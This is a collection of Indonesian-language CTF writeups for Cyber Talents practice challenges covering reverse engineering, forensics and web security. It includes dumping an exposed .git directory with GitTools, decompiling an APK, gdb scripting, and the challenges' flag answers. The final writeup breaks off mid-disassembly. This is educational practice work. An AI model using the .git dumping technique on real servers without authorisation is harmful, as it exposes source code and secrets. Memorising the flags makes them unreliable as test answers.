76 | String str = localEditText.getText().toString();
77 | Log.i("credentials check", paramAnonymousView + ":" + str);
78 | if ((paramAnonymousView.compareTo(MainActivity.this.getUser()) == 0) && (str.compareTo(MainActivity.this.getPass()) == 0))
79 | {
80 | Log.i("credentials check", "granted access");
81 | Toast.makeText(MainActivity.this.getApplicationContext(), "access granted!", 0).show();
82 | paramAnonymousView = new Intent(MainActivity.this.getApplicationContext(), MainActivity2.class);
83 | MainActivity.this.startActivity(paramAnonymousView);
84 | return;
85 | }
86 | Toast.makeText(MainActivity.this.getApplicationContext(), "access denied!", 0).show();
87 | }
88 | });
89 | }
90 |
91 | public boolean onCreateOptionsMenu(Menu paramMenu)
92 | {
93 | getMenuInflater().inflate(2131492864, paramMenu);
94 | return true;
95 | }
96 |
97 | public boolean onOptionsItemSelected(MenuItem paramMenuItem)
98 | {
99 | if (paramMenuItem.getItemId() == 2131427398) {
100 | return true;
101 | }
102 | return super.onOptionsItemSelected(paramMenuItem);
103 | }
104 | }
105 | ```
106 |
107 | Perhatikan bagian berikut ini:
108 |
109 | ```java
110 | if ((paramAnonymousView.compareTo(MainActivity.this.getUser()) == 0) && (str.compareTo(MainActivity.this.getPass()) == 0))
111 | ```
112 |
113 | Pada bagian tersebut, jika fungsi `getUser()` dan `getPass()` nilainya `0`, maka akses akan diberikan. Selanjutnya, perhatikan kedua fungsi tersebut, serta variabel `weezy` berikut ini:
114 |
115 | ```java
116 | public int weezy = 152;
117 |
118 | private String getPass()
119 | {
120 | if (this.weezy > 152) {
121 | return "Saruman";
122 | }
123 | return "Gandalf";
124 | }
125 |
126 | private String getUser()
127 | {
128 | if (this.weezy > 152) {}
129 | for (String str = "Legolas";; str = "Aragon")
130 | {
131 | this.weezy += 100;
132 | return str;
133 | }
134 | }
135 | ```
136 |
137 | Berikut ini adalah penjelasan singkat tentang kedua fungsi tersebut, serta variabel `weezy`:
138 | * Fungsi `getUser()` akan dipanggil pertama kali.
139 | * String `str` akan bernilai `Legolas`.
140 | * Variabel `weezy` nilainya akan ditambah `100`, sehingga nilainya menjadi `252`.
141 | * Fungsi `getPass()` akan dipanggil.
142 | * Karena nilai variabel `weezy` saat ini adalah `252`, maka fungsi `getPass()` akan bernilai `Saruman`.
143 | * Gabungan kedua string tersebut digabungkan lalu dihitung hash MD5nya untuk memperoleh flag.
144 |
145 | Dengan informasi di atas, kita dapat membuat script php sederhana untuk menghitung flag. Berikut ini adalah scriptnya:
146 |
147 | ```php
148 | 152) {}
156 | for ($str = "Legolas";; $str = "Aragon")
157 | {
158 | $weezy += 100;
159 | return $str;
160 | }
161 | }
162 |
163 | function getPass()
164 | {
165 | global $weezy;
166 | if ($weezy > 152) {
167 | return "Saruman";
168 | }
169 | return "Gandalf";
170 | }
171 |
172 | echo md5(getUser() . getPass()) . "\n";
173 | ?>
174 | ```
175 |
176 | Jika script tersebut dijalankan, maka akan menampilkan flag yang benar:
177 |
178 | ```bash
179 | php -f getFlag.php
180 | d710d29360684aef13ea7cdfecf63a3a
181 | ```
182 |
183 | Jadi, flag untuk soal ini adalah `d710d29360684aef13ea7cdfecf63a3a`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, dan Anda yang telah membaca tutorial ini.
184 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-mailer.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Mailer
2 |
3 |
4 | Tutorial kali ini akan membahas solusi untuk soal CTF [Cyber Talents: Mailer](https://cybertalents.com/challenges/forensics/mailer) yang termasuk dalam kategori digital forensic. Penjelasan untuk soal tersebut adalah sebagai berikut:
5 |
6 | ```
7 | we got the evidence for the phishing Email but we need to know the name of malware file
8 | ```
9 |
10 | Untuk soal kali ini, kita akan diberikan arsip yang dapat [diunduh pada tautan ini](https://hubchallenges.s3-eu-west-1.amazonaws.com/Forensics/mail_bak.7z). Setelah mengunduh file tersebut, kita dapat mengekstraknya menggunakan p7zip dengan perintah seperti ini:
11 |
12 | ```bash
13 | % 7z -x mail_bak.7z
14 | ```
15 |
16 | Hasil ekstraknya berupa 2 buah file, yaitu **Inbox** dan **Sent**. Karena petunjuknya berupa nama file malware, maka kita bisa menggunakan _grep_ atau [ripgrep](https://github.com/BurntSushi/ripgrep) (pada tutorial ini digunakan _ripgrep_) untuk mencari tahu apakah ada attachment pada kedua file tersebut dengan perintah seperti ini:
17 |
18 | ```bash
19 | % rg attach *
20 | Inbox
21 | 2017:(See attached file: eicar.com)
22 | 2027:(See attached file: eicar.com)
23 | 2037:Content-Disposition: attachment; filename="eicar.com"
24 | 4400:(See attached file: eicar.com)
25 | 4410:(See attached file: eicar.com)
26 | 4420:Content-Disposition: attachment; filename="eicar.com"
27 | 14161:(See attached file: eicar.com)
28 | 14171:(See attached file: eicar.com)
29 | 14181:Content-Disposition: attachment; filename="eicar.com"
30 | 16793:(See attached file: eicar.com)
31 | 16803:(See attached file: eicar.com)
32 | 16813:Content-Disposition: attachment; filename="eicar.com"
33 | 17161:Content-Disposition: attachment;
34 | 18116:Content-Disposition: attachment; filename="Kumamoto-Castle-6.jpg"
35 | 21002:(See attached file: eicar.com)
36 | 21012:(See attached file: eicar.com)
37 | 21022:Content-Disposition: attachment; filename="eicar.com"
38 |
39 | Sent
40 | 11976: class="attachment-92x92
41 | 12017: class="attachment-92x92
42 | 12054: class="attachment-92x92
43 | 12092: class="attachment-92x92
44 | 12133: class="attachment-92x92
45 | 12169: class="attachment-92x92
46 | 12204: class="attachment-92x92
47 | 26078: class="attachment-92x92
48 | 26119: class="attachment-92x92
49 | 26157: class="attachment-92x92
50 | 26195: class="attachment-92x92
51 | 26232: class="attachment-92x92
52 | 26269: class="attachment-92x92
53 | 26305: class="attachment-92x92
54 | ```
55 |
56 | Bisa terlihat bahwa pada file **Inbox** terdapat attachment dengan nama **eicar.com**, namun setelah mencobanya sebagai flag, ternyata salah. Selanjutnya, kita akan menggunakan filter berupa ekstensi _executable_ yang umum pada sistem operasi Windows sebagai filter:
57 |
58 | ```bash
59 | % rg "\.exe|\.dll|\.ocx" *
60 | Sent
61 | 2943:> ctbank.com/Mal_strike8941934890753353453.exe
62 | 2944:>
63 | 2958:>> www.ctbank.com/Mal_strike8941934890753353453.exe
64 | 2959:>>
65 | 2992: href="http://ctbank.com/Mal_strike8941934890753353453.exe">ctbank.com/Mal_strike8941934890753353453.exe
66 | 3018: href="http://www.ctbank.com/Mal_strike8941934890753353453.exe"
67 | ```
68 |
69 | Kali ini, hasilnya cukup menarik karena terdapat tautan ke situs dan nama sebuah file _executable_ dengan ekstensi **exe** dan namanya cukup mencurigakan. Coba kita gunakan sebagai flag dengan format:
70 |
71 | ```
72 | flag{Mal_strike8941934890753353453.exe}
73 | ```
74 |
75 | Ternyata benar, `flag{Mal_strike8941934890753353453.exe}` adalah flag yang valid. Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
76 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-maximum_courage.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Maximum Courage
2 |
3 |
4 | Tutorial ini akan membahas solusi untuk soal CTF [Cyber Talents: Maximum Courage](https://cybertalents.com/challenges/web/maximum-courage) yang termasuk ke dalam kategori web security. Berikut ini adalah petunjuk untuk soal tersebut:
5 |
6 | ```
7 | Max prefers to learn by practicing and not just reading all day, so he set up
8 | a webserver and hopes it stays secret, can you prove it has a weakness?
9 | ```
10 |
11 | Untuk soal kali ini, dapat diakses pada [tautan ini](http://35.197.204.100/maximum/). Gunakan browser untuk mengakses halaman soal tersebut, atau bisa juga menggunakan [HTTPie](https://httpie.org) seperti ini:
12 |
13 | ```bash
14 | % http "http://35.197.204.100/maximum/"
15 | HTTP/1.1 200 OK
16 | Connection: keep-alive
17 | Content-Encoding: gzip
18 | Content-Type: text/html; charset=UTF-8
19 | Date: Mon, 03 Aug 2020 05:39:48 GMT
20 | Server: nginx/1.10.3 (Ubuntu)
21 | Transfer-Encoding: chunked
22 |
23 | MAX
24 |
25 |
26 | Welcome to max's hideway.
27 | I learn security by watching hackers break my website, so to my understanding the PHP source code is never served to the user so you can't see the content of my flag.php
28 |
29 |
30 | ```
31 |
32 | Bisa terlihat bahwa pada halaman tersebut terdapat tautan ke file **flag.php**. Coba kita periksa tautan tersebut:
33 |
34 | ```bash
35 | % http "http://35.197.204.100/maximum/flag.php"
36 | HTTP/1.1 200 OK
37 | Connection: keep-alive
38 | Content-Encoding: gzip
39 | Content-Type: text/html; charset=UTF-8
40 | Date: Mon, 03 Aug 2020 05:40:40 GMT
41 | Server: nginx/1.10.3 (Ubuntu)
42 | Transfer-Encoding: chunked
43 |
44 | You can't view this flag directly.
45 |
46 | ```
47 |
48 | Kita tidak dapat mengakses file **flag.php** secara langsung. Coba kita ganti ekstensinya menjadi **.phps** yang merupakan ekstensi untuk file source PHP:
49 |
50 | ```bash
51 | % http "http://35.197.204.100/maximum/flag.phps"
52 | HTTP/1.1 404 Not Found
53 | Connection: keep-alive
54 | Content-Encoding: gzip
55 | Content-Type: text/html
56 | Date: Tue, 04 Aug 2020 00:23:57 GMT
57 | Server: nginx/1.10.3 (Ubuntu)
58 | Transfer-Encoding: chunked
59 |
60 |
61 | 404 Not Found
62 |
63 |
404 Not Found
64 |
nginx/1.10.3 (Ubuntu)
65 |
66 |
67 | ```
68 |
69 | Hasilnya nihil. Demikian pula jika kita mencoba beberapa kemungkinan lainnya misalnya **flag.php~** atau **flag.html**, bahkan file **robots.txt** juga tidak ada. Karena petunjuk yang terdapat pada file **flag.php** adalah _source_, kita akan mencoba mencari direktori tersembunyi yang sering digunakan oleh version control system misalnya [git](https://git-scm.com/).
70 |
71 | ```bash
72 | % http "http://35.197.204.100/maximum/.git/"
73 | HTTP/1.1 200 OK
74 | Connection: keep-alive
75 | Content-Encoding: gzip
76 | Content-Type: text/html
77 | Date: Mon, 03 Aug 2020 05:41:21 GMT
78 | Server: nginx/1.10.3 (Ubuntu)
79 | Transfer-Encoding: chunked
80 |
81 |
82 | Index of /maximum/.git/
83 |
84 |
96 |
97 | ```
98 |
99 | Ternyata benar, pada tautan tersebut terdapat sub direktori tersembunyi. Namun, kita tidak dapat melakukan kloning terhadap sub direktori tersebut secara langsung. Untuk itu, kita akan menggunakan beberapa script yang terdapat pada [GitTools](https://github.com/internetwache/GitTools). Lakukan kloning terhadap repositori GitTools:
100 |
101 | ```bash
102 | % git clone "https://github.com/internetwache/GitTools"
103 | ```
104 |
105 | Selanjutnya, kita akan menggunakan script **gitdumper.sh** untuk menyalin semua isi dari direktori pada server dengan perintah seperti ini:
106 |
107 | ```bash
108 | % ./GitTools/Dumper/gitdumper.sh "http://35.197.204.100/maximum/.git/" ctf
109 | ###########
110 | # GitDumper is part of https://github.com/internetwache/GitTools
111 | #
112 | # Developed and maintained by @gehaxelt from @internetwache
113 | #
114 | # Use at your own risk. Usage might be illegal in certain circumstances.
115 | # Only for educational purposes!
116 | ###########
117 |
118 |
119 | [*] Destination folder does not exist
120 | [+] Creating ctf/.git/
121 | [+] Downloaded: HEAD
122 | [-] Downloaded: objects/info/packs
123 | [+] Downloaded: description
124 | [+] Downloaded: config
125 | [+] Downloaded: COMMIT_EDITMSG
126 | [+] Downloaded: index
127 | [-] Downloaded: packed-refs
128 | [+] Downloaded: refs/heads/master
129 | [-] Downloaded: refs/remotes/origin/HEAD
130 | [-] Downloaded: refs/stash
131 | [+] Downloaded: logs/HEAD
132 | [+] Downloaded: logs/refs/heads/master
133 | [-] Downloaded: logs/refs/remotes/origin/HEAD
134 | [-] Downloaded: info/refs
135 | [+] Downloaded: info/exclude
136 | [-] Downloaded: /refs/wip/index/refs/heads/master
137 | [-] Downloaded: /refs/wip/wtree/refs/heads/master
138 | [+] Downloaded: objects/ca/432659ef19b8e1cfd6607878c4eb5a778dc37d
139 | [-] Downloaded: objects/00/00000000000000000000000000000000000000
140 | [+] Downloaded: objects/08/48654ac283468f006838972da074064826f6e9
141 | [+] Downloaded: objects/f3/df28f6e6614d7753ba2e5c45447fde1a99671a
142 | [+] Downloaded: objects/c2/72c09bb7c1a565df8230f07f0e29db84fd676e
143 | ```
144 |
145 | Hasil dari perintah di atas akan disimpan pada sub direktori **ctf**. Selanjutnya, kita akan mengekstrak file object yang terdapat pada sub direktori **ctf** menggunakan script **extractor.sh** seperti ini:
146 |
147 | ```bash
148 | % ./GitTools/Extractor/extractor.sh ctf dst
149 | ###########
150 | # Extractor is part of https://github.com/internetwache/GitTools
151 | #
152 | # Developed and maintained by @gehaxelt from @internetwache
153 | #
154 | # Use at your own risk. Usage might be illegal in certain circumstances.
155 | # Only for educational purposes!
156 | ###########
157 | [*] Destination folder does not exist
158 | [*] Creating...
159 | [+] Found commit: ca432659ef19b8e1cfd6607878c4eb5a778dc37d
160 | [+] Found file: /tmp/dst/0-ca432659ef19b8e1cfd6607878c4eb5a778dc37d/flag.php
161 | [+] Found file: /tmp/dst/0-ca432659ef19b8e1cfd6607878c4eb5a778dc37d/index.php
162 | ```
163 |
164 | Hasil ekstrak akan disimpan pada sub direktori **dst**, dan dapat kita lihat seperti ini:
165 |
166 | ```bash
167 | % cat dst/0-ca432659ef19b8e1cfd6607878c4eb5a778dc37d/flag.php
168 | You can't view this flag directly.
169 |
170 |
175 | ```
176 |
177 | Seperti yang terlihat di atas, kita dapat melihat kode sumber file **flag.php**, dan terdapat variabel **$secret_key** yang merupakan flagnya, yaitu `be607453caada6a05d00c0ea0057f733`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
178 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-mobile_app.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Mobile App
2 |
3 |
4 | Tutorial kali ini akan membahas solusi untuk soal CTF [Cyber Talents: Mobile App](https://cybertalents.com/challenges/malware/mobile-app) yang masuk ke dalam kategori reverse engineering. Berikut ini adalah petunjuk untuk soal kali ini:
5 |
6 | ```
7 | Reverse engineer the APK to find the flag.
8 | ```
9 |
10 | Soal kali ini mengharuskan kita untuk mengunduh sebuah aplikasi untuk Android dengan tipe APK pada [tautan ini](https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/mobapp.apk). Unduh terlebih dahulu aplikasi tersebut. Setelah mengunduh aplikasi tersebut, kemudian ekstrak menggunakan aplikasi unzip atau [7zip](https://www.7-zip.org/) seperti ini:
11 |
12 | ```bash
13 | % 7z x -oekstrak mobapp.apk
14 | ```
15 |
16 | Hasil ekstraksi akan disimpan pada sub direktori **ekstrak**. Selanjutnya, kita dapat melakukan dekompilasi terhadap file **classes.dex** pada sub direktori tersebut menggunakan [jadx](https://github.com/skylot/jadx) atau aplikasi lainnya. Setelah mengamati hasil dekompilasi aplikasi tersebut, kita memperoleh informasi dari konfigurasi cordova, yaitu **org.apache.cordova.Config** berikut ini:
17 |
18 | ```java
19 | package org.apache.cordova;
20 |
21 | import android.app.Activity;
22 | import android.content.Context;
23 | import java.util.List;
24 |
25 | @Deprecated
26 | public class Config {
27 | private static final String TAG = "Config";
28 | static ConfigXmlParser parser;
29 |
30 | private Config() {
31 | }
32 |
33 | public static void init(Activity action) {
34 | parser = new ConfigXmlParser();
35 | parser.parse((Context) action);
36 | parser.getPreferences().setPreferencesBundle(action.getIntent().getExtras());
37 | }
38 |
39 | public static void init() {
40 | if (parser == null) {
41 | parser = new ConfigXmlParser();
42 | }
43 | }
44 |
45 | public static String getStartUrl() {
46 | if (parser == null) {
47 | return "file:///android_asset/www/index.html";
48 | }
49 | return parser.getLaunchUrl();
50 | }
51 |
52 | public static String getErrorUrl() {
53 | return parser.getPreferences().getString("errorurl", (String) null);
54 | }
55 |
56 | public static List getPluginEntries() {
57 | return parser.getPluginEntries();
58 | }
59 |
60 | public static CordovaPreferences getPreferences() {
61 | return parser.getPreferences();
62 | }
63 |
64 | public static boolean isInitialized() {
65 | return parser != null;
66 | }
67 | }
68 | ```
69 |
70 | Bisa terlihat bahwa konfigurasi untuk halaman awal berada pada _asset_ aplikasi tersebut. Coba kita periksa direktori **assets** pada sub direktori hasil ekstraksi:
71 |
72 | ```bash
73 | % cd ekstrak
74 | % tree assets
75 | assets
76 | └── www
77 | ├── cordova.js
78 | ├── cordova-js-src
79 | │ ├── android
80 | │ │ ├── nativeapiprovider.js
81 | │ │ └── promptbasednativeapi.js
82 | │ ├── exec.js
83 | │ ├── platform.js
84 | │ └── plugin
85 | │ └── android
86 | │ └── app.js
87 | ├── cordova_plugins.js
88 | ├── css
89 | │ └── index.css
90 | ├── img
91 | │ └── logo.png
92 | ├── index.html
93 | └── js
94 | └── index.js
95 |
96 | 8 directories, 11 files
97 | ```
98 |
99 | Bisa terlihat bahwa, pada sub direktori **assets/www** terdapat file **index.html**. Coba kita lihat isinya:
100 |
101 | ```bash
102 | % cat assets/www/index.html
103 |
104 |
122 |
123 |
124 |
133 |
134 |
135 |
136 |
137 |
138 | Hello World
139 |
140 |
141 |
142 |
BlueKaizen
143 |
144 |
Connecting to Device
145 |
Device is Ready
146 |
147 |
148 |
149 |
150 |
151 |
152 | ```
153 |
154 | Bisa terlihat bahwa halaman tersebut menggunakan 2 buah javascript, yaitu **cordova.js** dan **js/index.js**. Setelah mengamati isi dari file **cordova.js**, maka tidak ada hal yang mencurigakan. Namun berbeda dengan file **index.js**. Perhatikan potongan isi dari file **index.js** berikut ini:
155 |
156 | ```bash
157 | % cat assets/www/js/index.js
158 | ...
159 | app.initialize();
160 | function whereIsMyFlag() {
161 | var flag = "W11bKCFbXStbXSlbK1tdXSsoWyFbXV0rW11bW11dKVsrIStbXStbK1tdXV0rKCFbXStbXSlbIStbXSsh ...
162 | W10rIStbXSshK1tdKyErW10rIStbXSshK1tdKyErW11dKyhbXVtbXV0rW10pWyErW10rIStbXV0pKSgp";
163 | }
164 | ```
165 |
166 | Bisa terlihat bahwa file **index.js** tersebut berisi sebuah fungsi `whereIsMyFlag` yang di dalamnya terdapat variabel `flag` dengan _string_ yang cukup panjang. Copy _string_ tersebut, dan simpan sebagai file **flag.base64**. Gunakan perintah berikut ini untuk melakukan decode terhadap file tersebut:
167 |
168 | ```bash
169 | % base64 -d < flag.base64 > flag.dec
170 | ```
171 |
172 | Hasilnya akan disimpan pada file **flag.dec**. Ternyata hasil decode tersebut adalah file yang diobfuscate:
173 |
174 | ```bash
175 | [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+ ... [+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]))()
176 | ```
177 |
178 | File tersebut diobfuscate menggunakan **JSFuck**, dan kita dapat men-deobfuscatenya menggunakan [Decoder JS-Fuck](https://enkhee-osiris.github.io/Decoder-JSFuck/). Setelah men-deobfuscate, maka kita akan menemukan flagnya, yaitu `FLAG{JS_AND_CORDOVA_FTW}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
179 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-re-can_you_see_me.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Can You See Me
2 |
3 |
4 | Ini adalah writeup soal latihan [Cyber Talents](https://cybertalents.com/challenges/malware/can-you-see-me) untuk kategori reverse engineering. Berikut ini adalah petunjuk yang diberikan:
5 |
6 | ```
7 | The correct input is the flag,format flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
8 | ```
9 |
10 | Langkah pertama yang dilakukan adalah memeriksa tipe executablenya (langkah ini sifatnya opsional):
11 |
12 | ```bash
13 | % file canyouseeme
14 | canyouseeme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), \
15 | dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, \
16 | BuildID[sha1]=09b983c50bdbb08163946008d369f5aa79c09db0, not stripped
17 | ```
18 |
19 | Jika soal tersebut dijalankan tanpa parameter, maka hasilnya seperti ini:
20 |
21 | ```bash
22 | % ./canyouseeme
23 | wrong number of arguments ...
24 | ```
25 |
26 | Bisa terlihat bahwa soal tersebut memerlukan parameter. Jika kita memberikan 2 parameter, maka soal tersebut akan menampilkan pesan seperti ini:
27 |
28 | ```bash
29 | % ./canyouseeme 0 1 2
30 | noooooo
31 | ```
32 |
33 | Selanjutnya, kita akan melakukan disassembly terhadap fungsi `main` pada soal tersebut. Caranya seperti ini:
34 |
35 | ```bash
36 | % r2 -AAqc 'pdf @main' canyouseeme
37 | ...
38 | 0x080484dc 890424 mov dword [esp], eax ; argv[3]
39 | 0x080484df e86cfeffff call sym.imp.strlen ; strlen(argv[3])
40 | 0x080484e4 83f816 cmp eax, 0x16 ; 22
41 | 0x080484e7 7416 je 0x80484ff ;
42 | 0x080484e9 c70424b38c04. mov dword [esp], str.noooooo ; "noooooo"
43 | ...
44 | ```
45 |
46 | Potongan disassembly di atas bertugas untuk melakukan pengecekan terhadap parameter/argumen ke-3 yang diberikan. Jika ukurannya 22 byte (0x16), maka eksekusi akan dilanjutkan ke alamat `0x80484ff`. Jika tidak, maka akan ditampilkan pesan __noooooo__. Setelah mengetahui hal tersebut, kita kembali akan mencoba menggunakan urutan karakter sehingga berjumlah 22 sebagai parameter ke-3:
47 |
48 | ```bash
49 | % ./canyouseeme 0 1 0123456789abcdefghijkl
50 | not gooood enough :(
51 | ```
52 |
53 | Kali ini, pesan yang muncul adalah __not gooood enough :(__. Kembali perhatikan disassembly dari fungsi `main` pada soal tersebut:
54 |
55 | ```C
56 | 0x08048552 8b048540a004. mov eax, dword [eax*4 + obj.xflag]
57 | 0x08048559 890424 mov dword [esp], eax ; const char *s
58 | 0x0804855c e8effdffff call sym.imp.strlen ; size_t strlen(const char *s)
59 | 0x08048561 39c3 cmp ebx, eax ; ebx == eax?
60 | 0x08048563 7413 je 0x8048578 ; jika ya, lompat ke 0x8048578 -.
61 | 0x08048565 c70424bb8c04. mov dword [esp], str.not_gooood_enough_; "not gooood enough :(" |
62 | 0x0804856c e8bffdffff call sym.imp.puts ; int puts(const char *s) |
63 | 0x08048571 b8ffffffff mov eax, 0xffffffff ; -1 |
64 | 0x08048576 eb20 jmp 0x8048598 ; |
65 | 0x08048578 8344241401 add dword [local_14h], 1 ; [local_14h]++ <---------------'
66 | 0x0804857d 817c24146d9a. cmp dword [local_14h], 0x219a6d ; [local_14h] == 0x219a6d?
67 | 0x08048585 7e87 jle 0x804850e ; jika <=, lompat ke 0x804850e
68 | 0x08048587 c70424d08c04. mov dword [esp], str.Good_J0b ; "Good J0b!!!"
69 | 0x0804858e e89dfdffff call sym.imp.puts ; puts("Good J0b!!!");
70 | ```
71 |
72 | Berikut ini adalah bagian yang penting pada potongan disassembly di atas:
73 |
74 | ```C
75 | 0x08048561 39c3 cmp ebx, eax ; ebx == eax?
76 | ```
77 |
78 | Pada baris tersebut, terdapat instruksi `CMP` yang akan membandingkan isi dari register `EBX` dengan isi register `EAX`. Kita akan menggunakan _gdb_ untuk melakukan debugging terhadap soal tersebut dan memasang _breakpoint_ pada alamat `0x08048561`.
79 |
80 | ```bash
81 | % gdb ./canyouseeme
82 | Demangling of encoded C++/ObjC names when displaying symbols is on.
83 | Demangling of C++/ObjC names in disassembly listings is on.
84 | Reading symbols from ./canyouseeme...(no debugging symbols found)...done.
85 | gdb> b *0x08048561
86 | Breakpoint 1 at 0x8048561
87 | ```
88 |
89 | Lanjutkan dengan menjalankan soal tersebut dengan parameter yang telah digunakan pada beberapa langkah di atas:
90 |
91 | ```bash
92 | gdb> r 0 1 0123456789abcdefghijkl
93 | Starting program: /tmp/canyouseeme 0 1 0123456789abcdefghijkl
94 | Missing separate debuginfos, use: dnf debuginfo-install glibc-2.22-18.fc23.i686
95 |
96 | Breakpoint 1, 0x08048561 in main ()
97 | ```
98 |
99 | Eksekusi akan berhenti karena _breakpoint_. Selanjutnya, kita lihat isi dari register `EAX` dan `EBX`:
100 |
101 | ```bash
102 | gdb> i r eax ebx
103 | eax 0x64 100
104 | ebx 0x38 56
105 | ```
106 |
107 | Untuk mempermudah proses melihat isi register `EAX` dan `EBX` tersebut, kita akan menggunakan gdb script berikut ini:
108 |
109 | ```bash
110 | b *0x08048561
111 | r 0 1 0123456789abcdefghijkl
112 | set $i = 0
113 | while $i < 22
114 | printf "%c -> %c",$ebx,$eax
115 | set $ebx=$eax
116 | set $i = $i + 1
117 | c
118 | end
119 | q
120 | ```
121 |
122 | Simpan script tersebut sebagai `cariflag.gdb`, lalu jalankan seperti ini:
123 |
124 | ```bash
125 | % gdb -x cariflag.gdb ./canyouseeme
126 | Demangling of encoded C++/ObjC names when displaying symbols is on.
127 | Demangling of C++/ObjC names in disassembly listings is on.
128 | Reading symbols from ./canyouseeme...(no debugging symbols found)...done.
129 | Breakpoint 1 at 0x8048561
130 |
131 | Breakpoint 1, 0x08048561 in main ()
132 | 8 -> d
133 | Breakpoint 1, 0x08048561 in main ()
134 | f -> s
135 | Breakpoint 1, 0x08048561 in main ()
136 | 0 -> f
137 | Breakpoint 1, 0x08048561 in main ()
138 | 7 -> d
139 | Breakpoint 1, 0x08048561 in main ()
140 | e -> _
141 | Breakpoint 1, 0x08048561 in main ()
142 | l -> }
143 | Breakpoint 1, 0x08048561 in main ()
144 | 6 -> i
145 | Breakpoint 1, 0x08048561 in main ()
146 | d -> n
147 | Breakpoint 1, 0x08048561 in main ()
148 | k -> s
149 | Breakpoint 1, 0x08048561 in main ()
150 | 5 -> h
151 | Breakpoint 1, 0x08048561 in main ()
152 | c -> i
153 | Breakpoint 1, 0x08048561 in main ()
154 | j -> e
155 | Breakpoint 1, 0x08048561 in main ()
156 | 4 -> {
157 | Breakpoint 1, 0x08048561 in main ()
158 | b -> _
159 | Breakpoint 1, 0x08048561 in main ()
160 | i -> c
161 | Breakpoint 1, 0x08048561 in main ()
162 | 3 -> g
163 | Breakpoint 1, 0x08048561 in main ()
164 | a -> n
165 | Breakpoint 1, 0x08048561 in main ()
166 | h -> a
167 | Breakpoint 1, 0x08048561 in main ()
168 | 2 -> a
169 | Breakpoint 1, 0x08048561 in main ()
170 | 9 -> e
171 | Breakpoint 1, 0x08048561 in main ()
172 | g -> p
173 | Breakpoint 1, 0x08048561 in main ()
174 | 1 -> lGood J0b!!!
175 | [Inferior 1 (process 12078) exited normally]
176 | ```
177 |
178 | Bisa terlihat bahwa setiap karakter yang dimasukkan sebagai parameter ke-3 dibandingkan dengan setiap karakter pada flag. Kita tinggal mengurutkan setiap karakter tersebut seperti ini:
179 |
180 | ```bash
181 | 0 -> f
182 | 1 -> l
183 | 2 -> a
184 | 3 -> g
185 | 4 -> {
186 | 5 -> h
187 | 6 -> i
188 | 7 -> d
189 | 8 -> d
190 | 9 -> e
191 | a -> n
192 | b -> _
193 | c -> i
194 | d -> n
195 | e -> _
196 | f -> s
197 | g -> p
198 | h -> a
199 | i -> c
200 | j -> e
201 | k -> s
202 | l -> }
203 | ```
204 |
205 | Bisa terlihat bahwa flag yang benar adalah `flag{hidden_in_spaces}`. Sekian tutorial ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, dan Anda yang telah membaca tutorial ini.
206 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-re-catch_me_if_you_can.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Catch Me If You Can
2 |
3 | Ini adalah writeup soal latihan [Cyber Talents](https://cybertalents.com/challenges/malware/catch-me) untuk kategori reverse engineering. Berikut adalah petunjuk yang diberikan:
4 |
5 | ```
6 | Catch me if you can
7 | ```
8 |
9 | Soal ini tingkat kesulitannya medium dan soalnya berupa file executable dengan nama `catchme.exe`. Kita akan menggunakan radare2 untuk mengerjakan soal tersebut. Jalankan radare2 dengan perintah seperti ini:
10 |
11 | ```bash
12 | % r2 -A catchme.exe
13 | ```
14 |
15 | Selanjutnya, kita akan mencari hal yang menarik pada soal tersebut. Gunakan perintah `f` pada radare2:
16 |
17 | ```C
18 | [0x00411055]> f
19 | 0x00417b40 9 str.i_got_it
20 | ...
21 | ```
22 |
23 | Nah, ada string yang menarik. Selanjutnya, kita mencari referensi yang mengacu pada string tersebut. Gunakan perintah `axt`:
24 |
25 | ```C
26 | [0x00411055]> axt 0x00417b40
27 | entry1 0x411751 [DATA] push str.i_got_it
28 | ```
29 |
30 | Lakukan disassembly terhadap alamat dimana instruksi tersebut berada. Gunakan perintah `pd 50@0x411751` untuk melakukan disassembly sebanyak 50 instruksi. Hasilnya seperti ini:
31 |
32 | ```C
33 | [0x00411055]> pd 50@0x411751
34 | │ 0x00411751 68407b4100 push str.i_got_it ; 0x417b40 ; "i_got_it"
35 | │ 0x00411756 8d4588 lea eax, [local_78h]
36 | │ 0x00411759 50 push eax
37 | │ 0x0041175a e8eafaffff call fcn.00411249
38 | │ 0x0041175f 83c408 add esp, 8
39 | │ 0x00411762 85c0 test eax, eax
40 | │ ┌─< 0x00411764 0f8433010000 je 0x41189d
41 | │ │ 0x0041176a c78528ffffff. mov dword [local_d8h], 0x25 ; '%' ; 37
42 | │ │ 0x00411774 c7852cffffff. mov dword [local_d4h], 0xd ; 13
43 | │ │ 0x0041177e c78530ffffff. mov dword [local_d0h], 0x15 ; 21
44 | │ │ 0x00411788 c78534ffffff. mov dword [local_cch], 4
45 | │ │ 0x00411792 c78538ffffff. mov dword [local_c8h], 0x13 ; 19
46 | │ │ 0x0041179c c7853cffffff. mov dword [local_c4h], 0x74 ; 't' ; 116
